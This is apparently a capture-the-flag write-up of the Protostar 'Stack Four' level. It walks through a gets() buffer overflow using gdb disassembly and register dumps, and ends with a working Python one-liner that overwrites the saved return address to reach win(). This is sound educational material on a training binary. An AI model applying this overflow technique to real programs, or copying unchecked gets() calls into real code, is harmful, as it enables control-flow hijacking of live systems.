> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/exploit-education/protostar/stack-four.md).

# Stack Four

> Stack4 takes a look at overwriting saved EIP and standard buffer overflows. This level is at /opt/protostar/bin/stack4&#x20;
>
> **Hints**
>
> * A variety of introductory papers into buffer overflows may help
> * gdb lets you do “run < input
> * EIP is not directly after the end of buffer, compiler padding can also increase the size.

## Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

In this program, we have the `win` function.

There is no initialized function pointer in the `main` function. There fore we will have to overwrite the saved `eip`, also known as the the saved return address.

The saved return address is located before the buffer.

```
                    +-------------------------+                                                       
entry esp --------> |     saved eip           |
                    |     (return address)    |
                    |-------------------------|                                                           
new ebp ----------> |     saved ebp           |
                    |-------------------------|
                    |     buff [63]           |
                    |          .              |
                    |          .              |
                    |          .              |
                    |     buff [0]            |
                    |-------------------------|
new esp ----------> |     i                   |
                    +-------------------------+
```

That was a generalized representation.

We need the exact layout of the stack in order to craft our payload.

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
```

Set a breakpoint at `main+21` and pass in the following input:

```
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz
```

This will lead to segmentation fault.

```
Program received signal SIGSEGV, Segmentation fault.
0x74747474 in ?? ()
```

The error message tells us that the value of stored `eip` was changed to `0x74747474` which is not a valid address. `0x74` is `t` in ASCII.

Let's try to get a clearer picture.

```
(gdb) info registers
eax            0xbffff770       -1073744016
ecx            0xbffff770       -1073744016
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7c0       0xbffff7c0
ebp            0x73737373       0x73737373
esi            0x0      0
edi            0x0      0
eip            0x74747474       0x74747474
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
```

So the 77th, 78th, 79th and 80th bytes from our input overwrote the saved `eip`, and the four bytes before those which were `ssss` overwrote the saved `ebp`.

This means we need 80 bytes in total. 64 bytes to fill the `buffer`, 8 bytes of padding, 4 bytes to overwrite the `saved ebp` and 4 for overwriting the `saved eip`.

In order to alter control flow to the `win` function, we first need to know its address.

```
(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>:     push   ebp
0x080483f5 <win+1>:     mov    ebp,esp
0x080483f7 <win+3>:     sub    esp,0x18
0x080483fa <win+6>:     mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave
0x08048407 <win+19>:    ret
End of assembler dump.
```

These four bytes need to be the `0x080483f4` address in little-endian format.

### Exploit

```
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
```
